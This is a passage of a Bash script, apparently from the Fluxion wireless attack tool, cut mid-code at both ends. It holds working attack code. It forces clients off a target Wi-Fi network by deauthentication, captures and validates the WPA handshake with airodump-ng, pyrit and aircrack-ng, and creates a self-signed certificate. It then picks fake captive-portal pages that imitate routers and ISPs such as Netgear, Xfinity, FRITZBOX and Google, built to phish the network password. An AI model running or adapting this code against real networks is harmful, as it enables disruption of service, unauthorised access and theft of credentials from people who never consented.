""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ARA NEUTRA break elif [ "$webconf" = "13" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GR DIALOG_WEB_OK=$DIALOG_WEB_OK_GR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GR NEUTRA break elif [ "$webconf" = "14" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CZ DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CZ DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CZ DIALOG_WEB_OK=$DIALOG_WEB_OK_CZ DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CZ DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CZ DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CZ DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CZ DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CZ DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CZ NEUTRA break elif [ "$webconf" = "15" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_NO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_NO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_NO DIALOG_WEB_OK=$DIALOG_WEB_OK_NO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_NO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_NO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_NO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_NO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_NO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_NO NEUTRA break elif [ "$webconf" = "16" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_BG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_BG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_BG DIALOG_WEB_OK=$DIALOG_WEB_OK_BG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_BG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_BG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_BG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_BG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_BG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_BG NEUTRA break elif [ "$webconf" = "17" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_SRB DIALOG_WEB_INFO=$DIALOG_WEB_INFO_SRB DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_SRB DIALOG_WEB_OK=$DIALOG_WEB_OK_SRB DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_SRB DIALOG_WEB_BACK=$DIALOG_WEB_BACK_SRB DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_SRB DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_SRB DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_SRB DIALOG_WEB_DIR=$DIALOG_WEB_DIR_SRB NEUTRA break elif [ "$webconf" = "18" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_PL DIALOG_WEB_INFO=$DIALOG_WEB_INFO_PL DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_PL DIALOG_WEB_OK=$DIALOG_WEB_OK_PL DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_PL DIALOG_WEB_BACK=$DIALOG_WEB_BACK_PL DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_PL DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_PL DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_PL DIALOG_WEB_DIR=$DIALOG_WEB_DIR_PL NEUTRA break elif [ "$webconf" = "19" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ID DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ID DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ID DIALOG_WEB_OK=$DIALOG_WEB_OK_ID DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ID DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ID DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ID DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ID DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ID 